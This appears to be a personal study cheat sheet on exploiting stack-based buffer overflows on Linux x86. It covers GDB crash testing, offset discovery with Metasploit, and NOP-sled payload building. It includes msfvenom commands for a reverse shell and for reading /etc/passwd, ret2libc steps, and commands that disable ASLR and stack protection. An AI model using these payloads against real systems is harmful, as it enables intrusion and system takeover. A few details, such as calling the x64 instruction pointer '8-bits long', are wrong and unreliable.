Buffer Overflow

stack_based_buffer_overflows_linux_x86

Buffers overflows occur when a user is able to inject more data that the system can handle, resulting in an overflow.

By overriding data, the user may be able to control and modify the program behavior, such as executing malicious code.

A buffer overflow can be categorized in

  • Stack-based Buffer Overflow πŸ—ƒοΈ
  • Heap-based Buffer Overflow 🌱

This attack is very specific to the targeted executable.

$ file some_executable

Buffers overflows are less common nowadays, mostly due to the implementation of several security mechanisms.

  • πŸͺ€ Data Execution Prevention (DEP)/NX bit: mark as "read-only" memory regions where user input is stored such as the stack
  • πŸ›£οΈ Address Space Layout Randomization (ASLR): randomize where everything is stored to make ROP attacks harder
  • πŸ¦† Canaries/Stack Guard: add a known value to the stack between user input and control data to detect buffer overflows

πŸ“š IoT and Embedded devices are a common target as they often use low-level vulnerable languages such as C or C++.


Stack-based Buffer Overflow

stack_based_buffer_overflows_linux_x86 elf_x86_stack_buffer_overflow_basic_1 getting_started questionnaire

Find An Attack Vector

Identify vulnerable functions such as the following C functions:

  • strcpy, strcat
  • sprintf, vsprintf
  • gets/fgets
  • scanf/fscanf/sscanf/vscanf/vsscanf/vfscanf
  • realpath/index/getopt/getpass/strecpy/streadd/strtrns
  • ...

Each function or function call may not be exploitable.

Take Over The Instruction Pointer

When a program calls a function, it stores the instruction pointer (EIP/RIP) to the stack. We can exploit a buffer overflow to take it over.

All commands below inject a lot of A to stdin (assuming stdin in the vulnerable vector). The ideal result is the program crashing with the message 0x41414141 in ?? () which means we took over the EIP.

We can use GDB on Linux:

(gdb) run <<< $(python2 -c "print '\x41' * 1000")
(gdb) run <<< $(python2 -c "print( '\x41' * 1000 )")
(gdb) run <<< $(python3 -c "print( '\x41' * 1000 )")
(gdb) run <<< $(perl -e 'print "\x41"x1000')
(gdb) run <<< $(perl -e 'print "\x41"x1000 . "A"')
(gdb) run <<< $(printf '\x41%.0s' {1..1000})
0x41414141 in ?? ()

⚠️ Python3 doesn't behave as we expect for many characters.

Determine The Offset

We want to determine when did we override the EIP. Generate a pattern with metasploit. Run the program with the given bytes, note the EIP, and pass the EIP to metasploit to find the exact offset.

$ /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1000
<some pattern>
$ /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 0xYOUR_NEW_EIP
offset

Going back to gdb, we should be able to arbitrary set the EIP:

(gdb) run <<< $(python2 -c "print( '\x41' * (offset) + '\x66\x66\x66\x66' )")
EIP uses 0x66666666 in ?? ()

πŸ“š Alternatively, look for the EBP/RBP register's value.

Quick reminder, for x64, the EIP is 8-bits long.


Injecting A ShellCode

We can now generate a shellcode, inject it, and make the EIP point to our code. Just in case, we usually add NOPs (\x90) before our payload. We also want to identify "bad characters":

(gdb) run <<< $(python2 -c "print('\x41' * (offset - 256) + '$(for i in {0..255}; do printf "\\\x%02x" $i;done)' + '\x66\x66\x66\x66')")
(gdb) x/2000xb $esp+0

Look at the end of your \x41 for missing values in your charset.

We can use msfvenom to generate a payload:

  • Reverse Shell (you can use 127.0.0.1 and a local listener)
$ msfvenom -p linux/x86/shell_reverse_tcp lhost=IP lport=PORT --format c --arch x86 --platform linux --bad-chars "\x00\x09\x0a\x20"
  • Execute a command such as cat /etc/passwd
$ msfvenom -p linux/x86/exec cmd="cat /etc/passwd" --format c --arch x86 --platform linux --bad-chars "\x00\x09\x0a\x20"

To test your payload:

(gdb) run <<< $(python2 -c "print('\x41' * (offset - nop_size - payload_size) + '\x90' * nop_size + payload + '\x66\x66\x66\x66' )")
(gdb) x/2000xb $esp+0

The EIP can be a line of NOPs, or a line of NOPs with your code. ⚠️ Remember that there is a notion of endianness in addresses.

Important Note ⚠️: GDB is good for testing your payloads, but it executes the binary in your context, meaning you cannot elevate to another user. You need to execute the binary outside of GDB:

$ ./my_program <<< $(python2 -c "print('\x41' * (offset - nop_size - payload_size) + '\x90' * nop_size + payload + '\x66\x66\x66\x66' )")
$ ./my_program <<< $(python2 -c "print('\x41' * (offset - nop_size - payload_size) + '\x90' * nop_size + payload + '\xFD\xFC\xFB\xFA' )")
$ (python2 -c "print('\x41' * (offset - nop_size - payload_size) + '\x90' * nop_size + payload + '\xFD\xFC\xFB\xFA' )" ; cat -) | ./my_program

The last command with cat/cat - keep stdin open if you need that.

Additional Notes

  • πŸ‘» Try PAD+EIP+NOPs+SHELLCODE when the space is limited? THE EIP should point to EIP address + EIP length.

  • πŸ‘» Use ret2libc: invoke libc functions (system,exit) using their address when you can't execute code in the stack. The payload concatenate 3 addresses 0x[system]0x[exit]0x[command]. Use an environment variable for the command. Guide+Explanations.


Random Notes

Reuse addresses in shellcode

Find libc function addresses.

$ gdb -ex 'start' --args /bin/bash
$ p system
$ p exit

Find the current address of the SHELL environment variable.

$ gdb -ex 'start' --args /bin/bash
$ # 'SHELL' might not be at the same index ('0') for you
$ # The address may change over time
$ x/s *((char **)environ+0)
0xffffe23a: "SHELL=/bin/bash"

Use Python To Assemble Payloads

You can use the following code to convert an address (0xAABBCCDD) to a payload address (\xDD\xCC\xBB\xAA):

import struct
x = struct.pack("I" , 0xAABBCCDD)
y = struct.pack("I" , 0xEEFF0011)
print(x + y) # '\xdd\xcc\xbb\xaa\x11\x00\xff\xee'

πŸ‘» To-do πŸ‘»

Stuff that I found, but never read/used yet.

  • CVE-2021-3156 in sudo
  • Attack: make the program crash (benign)
  • Return Oriented Programming (ROP)
  • Read Only relocations (RelRO) - read-only headers
  • Position Independent Executable (PIE) - randomizes the base address of the binary
  • binary can be stripped or not (reduce size)
  • Heap => go from the 0x0 to 0xf. Start at the end of .bss in x86., Stack => go from 0xf to 0x0.
# disable ASLR
sudo echo 0 > /proc/sys/kernel/randomize_va_space
# compile 32-bit ELF binary (no DEP)
gcc xxx.c -o xxx -fno-stack-protector -z execstack -m32
gcc xxx.c -o xxx -fno-stack-protector -z execstack -m64